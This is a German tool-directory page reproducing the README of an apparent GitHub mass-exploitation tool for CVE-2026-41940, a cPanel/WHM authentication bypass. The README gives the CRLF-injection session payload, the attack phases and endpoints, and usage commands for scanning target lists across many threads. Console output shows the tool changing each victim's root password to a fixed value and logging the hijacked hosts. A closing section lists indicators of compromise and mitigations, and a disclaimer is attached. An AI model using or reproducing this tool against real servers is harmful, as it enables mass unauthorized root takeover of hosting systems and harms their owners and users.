Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-41940 — Bulk-Scanner und Massen-Exploitation-Tool für CVE-2026-41940 auf cPanel/WHM, entwickelt für automatisierte Zielvalidierung und schnelle Multithread-Ausführung. | Kitploit
Tools/GitHubGitHub/jenderal92/cve-2026-41940
SchwachstellenscannerExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsCommand and ControlAuthentifizierungRed TeamingPayload-Entwicklung
GitHubjenderal92/cve-2026-41940

CVE-2026-41940

Bulk-Scanner und Massen-Exploitation-Tool für CVE-2026-41940 auf cPanel/WHM, entwickelt für automatisierte Zielvalidierung und schnelle Multithread-Ausführung.

44vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

CVE-2026-41940 - Massen-Exploit zur Authentifizierungsumgehung bei WHM/cPanel

43153

📋 Beschreibung

CVE-2026-41940 ist eine kritische Schwachstelle zur Authentifizierungsumgehung in WHM/cPanel, die es Angreifern ermöglicht, die Authentifizierung zu umgehen und ohne gültige Anmeldedaten Root-Zugriff auf einen Server zu erlangen. Die Schwachstelle nutzt CRLF-Injection im Sitzungsverwaltungsmechanismus aus, um bösartige Sitzungsparameter einzuschleusen.

Dieses Tool bietet Massen-Exploitation-Funktionen mit Multi-Threading-Unterstützung zum gleichzeitigen Testen mehrerer Ziele, inklusive intelligenter Erfolgserkennung und automatischer Filterung ungültiger Ziele.


🎯 Hauptfunktionen

FunktionBeschreibung
✅ Massen-ExploitationScannt und exploitet mehrere Ziele aus einer Listendatei
🚀 Multi-ThreadingKonfigurierbare Anzahl an Threads für schnellere Scans (Standard: 15)
🔐 Automatische PasswortänderungÄndert das Root-Passwort bei erfolgreichem Exploit auf Jenderal92
🛡️ Intelligente ErfolgserkennungErkennt automatisch verschiedene WHM-API-Antwortformate
⚠️ Lizenzfehler-FilterungSchließt Ziele mit ungültigen/nicht lesbaren Lizenzfehlern aus
📝 Strukturierte AusgabeSpeichert nur bestätigte Erfolge im Format `domain:port
🛡️ SSL/TLS-UnterstützungVerarbeitet selbstsignierte Zertifikate automatisch
🔄 SitzungsverwaltungAutomatische Sitzungsextraktion, Cookie-Injection und Token-Verwaltung
⏱️ Timeout-SteuerungKonfigurierbarer Verbindungs-Timeout (Standard: 15 Sekunden)
🔍 Vorab-VerbindungsprüfungPrüft die Portverfügbarkeit vor dem Exploit-Versuch
📊 Echtzeit-FortschrittZeigt detaillierten Fortschritt für jede Exploit-Phase

📦 Anforderungen

  • Python 2.7 (erforderlich – NICHT kompatibel mit Python 3.x)
  • Internetverbindung für den Zugriff auf die Ziele
  • Erforderliche Python-Pakete:
root@kitploit:~
pip install requests urllib3 futures

Oder requirements.txt verwenden:

root@kitploit:~
requests==2.27.1
urllib3==1.26.18
futures==3.4.0

📥 Installation

root@kitploit:~
# Clone repository
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940

# Install dependencies
pip install -r requirements.txt

# Make executable (Linux/Mac)
chmod +x CVE-2026-41940.py

🚀 Verwendung

1. Zieldatei vorbereiten

Erstellen Sie eine Datei targets.txt mit einem Ziel pro Zeile:

root@kitploit:~
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com

Hinweis: Port 2087 ist der standardmäßige WHM-Port. Wenn kein Port angegeben ist, wird automatisch Port 2087 verwendet. Ein HTTP/HTTPS-Präfix wird automatisch hinzugefügt, falls er fehlt.

2. Den Exploit ausführen

Grundlegende Verwendung (Standardeinstellungen)

root@kitploit:~
python2 CVE-2026-41940.py targets.txt

Multi-Threading-Verwendung

root@kitploit:~
# Use 5 concurrent threads
python2 CVE-2026-41940.py targets.txt --threads 5

# Use 20 threads for faster scanning
python2 CVE-2026-41940.py targets.txt --threads 20

Benutzerdefinierter Hostname

root@kitploit:~
# Override Host header for all targets
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10

Benutzerdefinierter Timeout

root@kitploit:~
# Set timeout to 30 seconds for slow connections
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30

📊 Befehlszeilenargumente


📁 Ausgabeformat

Ergebnisdatei (res.txt)

Nur bestätigte, erfolgreiche Exploits werden gespeichert. Ziele mit Lizenzfehlern, fehlgeschlagenen Passwortänderungen oder Verbindungsproblemen werden automatisch ausgeschlossen.

Format:

root@kitploit:~
domain:port|root|Jenderal92

Beispielausgabe:

root@kitploit:~
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92

Ausgeschlossene Szenarien

Die folgenden Ziele werden NICHT in res.txt gespeichert:

  • Lizenzfehler (Cannot Read License File)
  • Fehlgeschlagene Passwortänderungen
  • Verbindungs-Timeouts oder -ablehnungen
  • Gepatchte Ziele/Ziele ohne WHM
  • Falsche Anmeldedaten oder Sitzungsfehler

Konsolenausgabe

root@kitploit:~
$ python2 CVE-2026-41940.py targets.txt --threads 10

 CVE-2026-41940 bypass authentication - Mass Exploit

[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED

==================================================

[*] Checking target: 127.0.0.1
    Original input: 127.0.0.1
    Normalized: https://127.0.0.1:2087
    Port 2087: OPEN
    Testing connection... OK (HTTP 200)

[0] hostname = example.com
[1] minting a preauth session...
    session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
    HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
    HTTP 401, gadget fired
[4] verifying we're WHM root...
    /json-api/version -> HTTP 200  {"version":"11.118.0.13"}
[*] attempting to change the root password
    passwd -> HTTP 200
    {
      "data": {
        "app": ["system"]
      },
      "metadata": {
        "output": {
          "raw": "Password for \"root\" has been changed."
        },
        "reason": "Password changed for user \"root\".",
        "version": 1,
        "command": "passwd",
        "result": 1
      }
    }
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!

[✓] SUCCESS & SAVED: 127.0.0.1:2087
    Saved to res.txt: 127.0.0.1:2087|root|Jenderal92

==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4

[+] Results saved to res.txt

Successfully exploited targets (password changed to Jenderal92):
  ✓ 127.0.0.1:2087

🔬 So funktioniert der Exploit

Der Exploit besteht aus 4 Hauptphasen mit intelligenter Verifizierung:

Phase 1: Sitzung vor der Authentifizierung

root@kitploit:~
[1] minting a preauth session...
  • Sendet eine POST-Anfrage an /login/?login_only=1 mit ungültigen Anmeldedaten
  • Ruft das whostmgrsession-Cookie aus der Serverantwort ab
  • Extrahiert die Sitzungsbasis durch Entfernen des Endteils ,<obhex>
  • Dies liefert uns ein gültiges Sitzungsformat, mit dem wir arbeiten können

Phase 2: CRLF-Injection-Angriff

root@kitploit:~
[2] sending the CRLF injection...
  • Sendet eine GET-Anfrage mit einem Authorization: Basic-Header, der eine bösartige Nutzlast enthält
  • Die Base64-Nutzlast wird dekodiert zu:
    root@kitploit:~
    root:x
    successful_internal_auth_with_timestamp=9999999999
    user=root
    tfa_verified=1
    hasroot=1
    
  • Die CRLF-Zeichen (\r\n) schleusen gefälschte Sitzungsparameter ein
  • Dies täuscht dem Server vor, dass die Authentifizierung erfolgreich war
  • Der Server antwortet mit HTTP 307 und einem Location-Header, der das cp_security_token enthält

Phase 3: Sitzungsweitergabe

root@kitploit:~
[3] firing do_token_denied to propagate...
  • Greift mit dem manipulierten Cookie auf den Endpunkt /scripts2/listaccts zu
  • Löst den do_token_denied-Mechanismus in WHM aus
  • Dies gibt die injizierten Sitzungsparameter in den Sitzungs-Cache des Servers weiter
  • Eine HTTP-401-Antwort mit „Token denied" bestätigt die erfolgreiche Weitergabe

Phase 4: Verifizierung und Passwortänderung

root@kitploit:~
[4] verifying we're WHM root...
  • Greift auf /json-api/version zu, um den Root-Zugriff zu verifizieren
  • Ruft die API /json-api/passwd auf, um das Root-Passwort auf Jenderal92 zu ändern
  • Erkennt den Erfolg intelligent über mehrere WHM-API-Antwortformate hinweg:
    • {"metadata": {"result": 1}} (cPanel v11.118+)
    • {"status": 1} (ältere Versionen)
    • {"result": [{"status": 1}]} (Legacy-Format)
    • Textbasierte Erfolgsmeldungen

Automatische Filterung

Das Tool schließt automatisch aus:

  • Lizenzfehler: {"status": 0, "statusmsg": "Cannot Read License File"}
  • Fehlgeschlagene Passwortänderungen: Wenn die API einen Erfolgscode zurückgibt, das Passwort aber nicht geändert wurde
  • Verbindungsprobleme: Timeouts, abgelehnte Verbindungen, nicht erreichbare Hosts

🛡️ Erkennung und Gegenmaßnahmen

Indikatoren für eine Kompromittierung (IOCs)

Zu überwachende Logs

root@kitploit:~
# WHM access log
/usr/local/cpanel/logs/access_log

# cPanel error log  
/usr/local/cpanel/logs/error_log

# Authentication log
/var/log/secure

# System messages
/var/log/messages

Schritte zur Schadensbegrenzung

  1. WHM/cPanel unverzüglich auf die neueste gepatchte Version aktualisieren

    root@kitploit:~
    /usr/local/cpanel/scripts/upcp
    
  2. Zwei-Faktor-Authentifizierung (2FA) für alle Konten aktivieren, insbesondere für Root

    root@kitploit:~
    WHM → Security Center → Two-Factor Authentication
    
  3. WHM-Zugriff per IP-Whitelist einschränken

    root@kitploit:~
    WHM → Security Center → Host Access Control
    
  4. Zugriffslogs regelmäßig auf verdächtige Muster überwachen

    root@kitploit:~
    tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
    
  5. Alle Passwörter ändern, wenn eine Kompromittierung vermutet wird

  6. Firewall-Regeln verwenden, um den Zugriff auf Port 2087 einzuschränken

    root@kitploit:~
    # Allow only trusted IPs
    iptables -A INPUT -p tcp --dport 2087 -s YOUR_TRUSTED_IP -j ACCEPT
    iptables -A INPUT -p tcp --dport 2087 -j DROP
    
    # Or use CSF/LFD firewall
    csf -a YOUR_TRUSTED_IP
    
  7. WAF-Regeln implementieren, um CRLF-Injection-Versuche zu erkennen

  8. Regelmäßige Sicherheitsüberprüfungen der WHM/cPanel-Installationen


📝 Verwendungsbeispiele in verschiedenen Szenarien

Szenario 1: Test mit einem einzelnen Ziel

root@kitploit:~
echo "https://myserver.com:2087" > my_server.txt
python2 CVE-2026-41940.py my_server.txt --threads 1

Szenario 2: Massen-Server-Überprüfung

root@kitploit:~
python2 CVE-2026-41940.py all_servers.txt --threads 20 --timeout 20

Szenario 3: Langsames Netzwerk/Große Entfernung

root@kitploit:~
python2 CVE-2026-41940.py servers.txt --threads 5 --timeout 45

Szenario 4: Benutzerdefinierter Hostname hinter Proxy/Load Balancer

root@kitploit:~
python2 CVE-2026-41940.py servers.txt --hostname internal.cpanel.server --threads 10

Szenario 5: Ziele mit gemischten Ports

root@kitploit:~
# targets.txt can contain various formats:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50

# All will be normalized automatically
python2 CVE-2026-41940.py targets.txt --threads 15

⚙️ Fehlerbehebung

Fehler: „module 'urllib' has no attribute 'urlsplit'"

Problem: Python 3 wird anstelle von Python 2.7 verwendet
Lösung: Dieses Tool erfordert ausdrücklich Python 2.7.

root@kitploit:~
# Check Python version
python2 --version  # Must show Python 2.7.x

# Run with python2 explicitly
python2 CVE-2026-41940.py targets.txt

Fehler: „Connection refused - target unreachable"

Problem: Das Ziel ist offline oder eine Firewall blockiert
Lösung:

root@kitploit:~
# Test manually
telnet target.com 2087
nmap -p 2087 target.com
curl -k https://target.com:2087

Fehler: „/login didn't issue a whostmgrsession cookie"

Problem: Das Ziel ist möglicherweise gepatcht oder führt kein WHM aus
Lösung:

  • Überprüfen, ob das Ziel WHM/cPanel ausführt
  • Prüfen, ob das Ziel über den Browser unter https://target:2087 erreichbar ist
  • Das Ziel hat möglicherweise bereits den CVE-2026-41940-Patch angewendet

Langsame Scan-Leistung

Lösung: Thread-Anzahl und Timeout anpassen

root@kitploit:~
# For many targets with good connectivity
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10

# For unreliable connections
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45

Lizenzfehler in der Ausgabe

Hinweis: Ziele, die Cannot Read License File anzeigen, werden automatisch aus res.txt ausgeschlossen. Dies ist ein erwartetes Verhalten, da Passwortänderungen auf nicht lizenzierten WHM-Installationen nicht funktionieren.


🔧 Erweiterte Konfiguration

Anpassung der benutzerdefinierten Nutzlast

Sie können PAYLOAD_B64 für benutzerdefinierte Sitzungsparameter ändern:

root@kitploit:~
import base64

# Custom payload
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""

encoded = base64.b64encode(payload.encode())
print(encoded)

Benutzerdefiniertes Passwort

Ändern Sie das Passwort in der Funktion do_passwd() (Zeile ~280):

root@kitploit:~
{"user": "root", "password": "YourCustomPassword123"}

Anpassen der Erfolgserkennung

Die Funktion do_passwd() kann geändert werden, um benutzerdefinierte WHM-Antwortformate zu erkennen:

root@kitploit:~
# Add custom pattern in do_passwd()
if 'your_custom_success_string' in (r.text or '').lower():
    return "success"

🤝 Mitwirken

Beiträge sind willkommen! Bitte folgen Sie diesen Schritten:

  1. Repository forken
  2. Einen Feature-Branch erstellen (git checkout -b feature/AmazingFeature)
  3. Ihre Änderungen committen (git commit -m 'Add some AmazingFeature')
  4. Den Branch pushen (git push origin feature/AmazingFeature)
  5. Einen Pull-Request öffnen

Entwicklungsrichtlinien

  • Python-2.7-Kompatibilität beibehalten
  • Mit verschiedenen WHM/cPanel-Versionen testen
  • Eine ordnungsgemäße Fehlerbehandlung hinzufügen
  • Dokumentation für neue Funktionen aktualisieren

⭐ Stern-Verlauf

Wenn dieses Tool für Ihre Sicherheitsforschung nützlich ist, geben Sie ihm bitte einen ⭐ auf GitHub!

Star History Chart


❗ FAQ

F: Kann dieses Tool erkannt werden?
A: Ja, dieses Tool hinterlässt Spuren in den WHM/cPanel-Zugriffslogs. Verwenden Sie es nur mit entsprechender Autorisierung und für legitime Sicherheitstests.

F: Wie lange dauert die Ausnutzung?
A: Ungefähr 5–15 Sekunden pro Ziel, abhängig von der Netzwerklatenz und der Antwortzeit des Servers.

F: Ist ein vorheriger Root-Zugriff erforderlich?
A: Nein, dieser Exploit funktioniert vollständig extern ohne jegliche Authentifizierung.

F: Funktioniert dieses Tool unter Windows?
A: Ja, solange Python 2.7 ordnungsgemäß installiert und konfiguriert ist.

F: Mein Ziel verwendet einen anderen Port. Was soll ich tun?
A: Geben Sie den Port in der Ziel-URL an: https://target.com:2083 für cPanel oder einen beliebigen benutzerdefinierten Port.

F: Warum werden einige Ziele nicht in res.txt gespeichert, obwohl der Exploit funktioniert hat?
A: Das Tool speichert nur Ziele, bei denen das Passwort erfolgreich geändert wurde. Ziele mit Lizenzfehlern, fehlgeschlagenen Passwortänderungen oder anderen Problemen werden ausgeschlossen, selbst wenn die Authentifizierungsumgehung erfolgreich war.

F: Welche WHM/cPanel-Versionen sind verwundbar?
A: Versionen vor dem CVE-2026-41940-Patch. Prüfen Sie das cPanel-Änderungsprotokoll (Changelog) für die gepatchte Version.


📌 Wichtige Hinweise

  • ✅ Dieses Tool ändert bei erfolgreicher Ausnutzung das Root-Passwort auf Jenderal92
  • 📡 Der standardmäßige WHM-Port ist 2087 (wird automatisch verwendet, wenn nicht angegeben)
  • 🔒 Die SSL-Zertifikatsprüfung ist deaktiviert, um selbstsignierte Zertifikate zu unterstützen
  • 💾 Nur bestätigte Erfolge (Passwort geändert) werden in res.txt gespeichert
  • ⚠️ Lizenzfehler und fehlgeschlagene Passwortänderungen werden automatisch herausgefiltert
  • 🔄 Jeder Lauf erstellt eine neue res.txt-Datei (alte Ergebnisse werden gelöscht)
  • 🌐 Das HTTP/HTTPS-Präfix wird automatisch hinzugefügt, falls es bei den Zielen fehlt
  • 🧵 Die Standard-Thread-Anzahl beträgt 15 und kann je nach Systemleistung angepasst werden

Erstellt für Bildungs- und Sicherheitsforschungszwecke
Verantwortungsvoll nutzen, legal bleiben, ethisch bleiben


⚠️ HAFTUNGSAUSSCHLUSS

⚠️ KRITISCHE WARNUNG!

Dieses Tool wurde ausschließlich erstellt für:

  • ✅ Bildungszwecke und Sicherheitsforschung
  • ✅ Autorisierte Penetrationstests
  • ✅ Sicherheitsbewertungen von Systemen, die Ihnen gehören
  • ✅ Schwachstellenverifizierung mit schriftlicher Genehmigung

STRENG UNTERSAGTE Verwendungen:

  • ❌ Zugriff auf Systeme ohne ausdrückliche Autorisierung
  • ❌ Jede Form illegaler Aktivitäten
  • ❌ Bösartige Handlungen oder das Verursachen von Schäden an Systemen
  • ❌ Unautorisierter Zugriff auf beliebige Computersysteme
  • ❌ Verstoß gegen lokale, staatliche oder bundesstaatliche Gesetze

Die Autoren übernehmen KEINERLEI Verantwortung oder Haftung für Missbrauch, Schäden oder Konsequenzen, die aus der Verwendung dieses Tools entstehen. Durch die Verwendung dieses Tools erklären Sie sich damit einverstanden, es nur auf Systemen zu verwenden, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Autorisierung zum Testen haben.

Wenn Sie fortfahren, bestätigen Sie, dass:

  1. Sie die Autorisierung haben, die Zielsysteme zu testen
  2. Sie die rechtlichen Konsequenzen eines unautorisierten Zugriffs verstehen
  3. Sie alle geltenden Gesetze und Vorschriften einhalten
  4. Die Autoren nicht für Ihre Handlungen verantwortlich sind

Weitere Haftungsausschlüsse finden Sie auf der Titelseite von Jenderal92. Sie können sie HIER !!! einsehen.

Tool herunterladen
ArgumentBeschreibungStandardErforderlich
list_fileDatei mit der Zielliste (ein Ziel pro Zeile)-✅ Ja
--threadsAnzahl paralleler Threads15❌ Nein
--hostnameHost-Header für alle Ziele überschreibenAutomatisch ermitteln❌ Nein
--timeoutVerbindungs-Timeout in Sekunden15❌ Nein
IndikatorBeschreibung
Anomales whostmgrsession-CookieUngewöhnliche Cookie-Muster ohne ordnungsgemäße Authentifizierung
CRLF-Zeichen in HeadernErkennung von \r\n-Sequenzen in HTTP-Headern
/scripts2/listaccts-ZugriffUnautorisierter Zugriff auf diesen Pfad
Passwort Jenderal92Erfolgreiche Anmeldung mit diesem spezifischen Passwort
cpsess-Token-LeckSicherheits-Token sichtbar im Location-Header
Fehlgeschlagene Anmeldung gefolgt von ErfolgPOST an /login/?login_only=1 mit falschem Passwort, danach privilegierter Zugriff